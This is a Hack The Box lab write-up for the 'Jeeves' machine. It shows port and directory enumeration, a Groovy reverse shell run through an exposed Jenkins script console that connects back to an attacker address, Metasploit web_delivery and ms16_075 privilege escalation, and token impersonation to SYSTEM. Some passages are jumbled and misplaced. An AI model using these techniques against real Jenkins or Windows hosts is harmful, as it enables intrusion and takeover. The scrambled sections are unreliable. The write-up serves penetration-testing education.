

Jeeves-HTB

Enumeration

Using autorecon:

```
1  # Nmap 7.94SVN scan initiated Sat Feb 17 09:55:09 2024 as: nmap -vv --reason -Pn
   --version-all -A --osscan-guess -p- -oN
   /home/kali/Downloads/jeeves/results/10.10.10.63/scans/_full_tcp_nmap.txt -oX
   /home/kali/Downloads/jeeves/results/10.10.10.63/scans/xml/_full_tcp_nmap.xml 10.
2  adjust_timeouts2: packet supposedly had rtt of -638182 microseconds. Ignoring t
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4  Nmap scan report for 10.10.10.63
5  Host is up, received user-set (0.042s latency).
6  Scanned at 2024-02-17 09:55:22 IST for 146s
7  Not shown: 65531 filtered tcp ports (no-response)
8  PORT      STATE SERVICE      REASON          VERSION
9  80/tcp    open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
10 |_http-title: Ask Jeeves
11 | http-methods:
12 |   Supported Methods: OPTIONS TRACE GET HEAD POST
13 |_ Potentially risky methods: TRACE
14 |_http-server-header: Microsoft-IIS/10.0
15 135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
16 445/tcp   open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-
   (workgroup: WORKGROUP)
17 50000/tcp open  http         syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT
18 |_http-title: Error 404 Not Found
19 |_http-server-header: Jetty(9.4.z-SNAPSHOT)
20 Warning: OSScan results may be unreliable because we could not find at least 1 o
   closed port
21 Device type: general purpose
22 Running (JUST GUESSING): Microsoft Windows 2008 (85%)
23 OS CPE: cpe:/o:microsoft:windows_server_2008:r2
24 OS fingerprint not ideal because: Missing a closed TCP port so results incomplet
25 Aggressive OS guesses: Microsoft Windows Server 2008 R2 (85%)
26 No exact OS matches for host (test conditions non-ideal).
27 TCP/IP fingerprint:
28 SCAN(V=7.94SVN%E=4%D=2/17%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=65D035C4%P=x86_64-
   gnu)
29 SEQ(SP=FD%GCD=1%ISR=10D%TS=A)
30 OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%
31 WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)
32 ECN(R=Y%DF=Y%TG=80%W=2000%O=M53CNW8NNS%CC=N%Q=)
```






```
33 T1(R=Y%DF=Y%TG=80%S=0%A=S+%F=AS%RD=0%Q=)
34 T2(R=N)
35 T3(R=N)
36 T4(R=N)
37 U1(R=N)
38 IE(R=Y%DFI=N%TG=80%CD=Z)
39
40 Uptime guess: 19.861 days (since Sun Jan 28 13:18:30 2024)
41 Network Distance: 2 hops
42 TCP Sequence Prediction: Difficulty=253 (Good luck!)
43 IP ID Sequence Generation: Busy server or unknown class
44 Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
45
46 Host script results:
47 | smb-security-mode:
48 |   account_used: guest
49 |   authentication_level: user
50 |   challenge_response: supported
51 |_ message_signing: disabled (dangerous, but default)
52 | smb2-security-mode:
53 |   3:1:1:
54 |_   Message signing enabled but not required
55 | p2p-conficker:
56 |   Checking for Conficker.C or higher...
57 |   Check 1 (port 55172/tcp): CLEAN (Timeout)
58 |   Check 2 (port 45342/tcp): CLEAN (Timeout)
59 |   Check 3 (port 48293/udp): CLEAN (Timeout)
60 |   Check 4 (port 33027/udp): CLEAN (Timeout)
61 |_ 0/4 checks are positive: Host is CLEAN or ports are blocked
62 |_clock-skew: mean: 5h00m03s, deviation: 0s, median: 5h00m02s
63 | smb2-time:
64 |   date: 2024-02-17T09:27:15
65 |_ start_date: 2024-01-28T12:48:43
66
67 TRACEROUTE (using port 80/tcp)
68 HOP RTT      ADDRESS
69 1 43.09 ms 10.10.14.1
70 2 43.13 ms 10.10.10.63
71
72 Read data files from: /usr/bin/../share/nmap
73 OS and Service detection performed. Please report any incorrect results at
  https://nmap.org/submit/ .
74 # Nmap done at Sat Feb 17 09:57:48 2024 -- 1 IP address (1 host up) scanned in 1
  seconds
```

Using dirbuster on the website on port 50000:

Type	Found	Response	Size
dir	/askjeeves/	200	15282
dir	/askjeeves/assets/	500	16109
dir	/askjeeves/about/	200	781
dir	/askjeeves/people/	200	11721
dir	/	200	730
dir	/askjeeves/log/	200	10645
dir	/askjeeves/computer/	200	12551
dir	/askjeeves/log/rss/	200	198
file	/error.html	200	274
file	/askjeeves/log/rss/linux.asp	200	115154
file	/askjeeves/log/rss/0.asp	200	115154
dir	/askjeeves/log/rss/links/	200	109015
file	/askjeeves/log/rss/28.asp	200	109015
file	/askjeeves/log/rss/themes.asp	200	115268
file	/askjeeves/log/rss/press.aspx	200	115154
file	/askjeeves/log/rss/banners.asp	200	109015

Exploitation

Abusing the script console feature of jenkins:

-  New Item
-  People
-  Build History
-  Manage Jenkins
-  Credentials

Build Queue

No builds in the queue.

Build Executor Status

- 1 Idle
- 2 Idle



Script Console

Type in an arbitrary [Groovy script](#) and execute it on the server. Useful for trouble-shooting and diagnosing. Example script:
`println(Jenkins.instance.pluginManager.plugins)`

All the classes from all the plugins are visible. `jenkins.*`, `jenkins.model.*`, `hudson.*`, and `com.cloudbees.jenkins.*`

```
1 String host="10.10.14.22";
2 int port=8044;
3 String cmd="cmd.exe";
4 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
```

We get a shell:

```
$ nc -nlvp 8044
listening on [any] 8044 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.63] 50772
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\.jenkins>whoami
whoami
jeeves\kohsuke
```

Checking privileges:

```
C:\Users\Administrator\.jenkins>whoami /priv
whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeShutdownPrivilege	Shut down the system	Disabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeUndockPrivilege	Remove computer from docking station	Disabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled
SeTimeZonePrivilege	Change the time zone	Disabled

Now using metasploit `exploit/script/web_delivery` :

Module options (exploit/multi/script/web_delivery):

Name	Current Setting	Required	Description
SRVHOST	10.10.14.22	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.10.14.22	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Some quick observations: It appears that Microsoft SMB services are running on the box. A website is being hosted via MS IIS on port 80. Jetty, an open-source Windows Server 2008 (this was incorrect, but it was a decent enough guess).

Exploit target:

I performed additional enumeration of the box's SMB services using `enum4linux` and nmap's collection of nifty SMB scripts. I also performed a brief UDP scan. I found that Jetty 9.4 are modern web servers and I did not consider it likely that there was a public exploit targeting a serious remote vulnerability in either. At this point, it was beginning to seem as though direct compromise of these services through a web server exploit or similar means was unlikely. Instead,

Then we get a meterpreter shell

Then use `use exploit/windows/local/ms16_075_reflection`

```
Module options (exploit/windows/local/ms16_075_reflection):
```

Name	Current Setting	Required	Description
SESSION	1	yes	The session to run this module on

```

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
----      -
EXITFUNC  none             yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     10.10.14.22      yes       The listen address (an interface may be specified)
LPORT     5555             yes       The listen port

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Windows Server 2008 (this was incorrect, but it was a decent enough guess).

Exploit target:
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Id  Name
--  --
0   Automatic

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```

Then get tokens:

```

meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[*] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
=====
JEEVES\kohsuke

Impersonation Tokens Available
=====
NT AUTHORITY\SYSTEM

meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"

```

Alternate data streams

```

dir /R
>more < hm.txt:root.txt:$DATA

```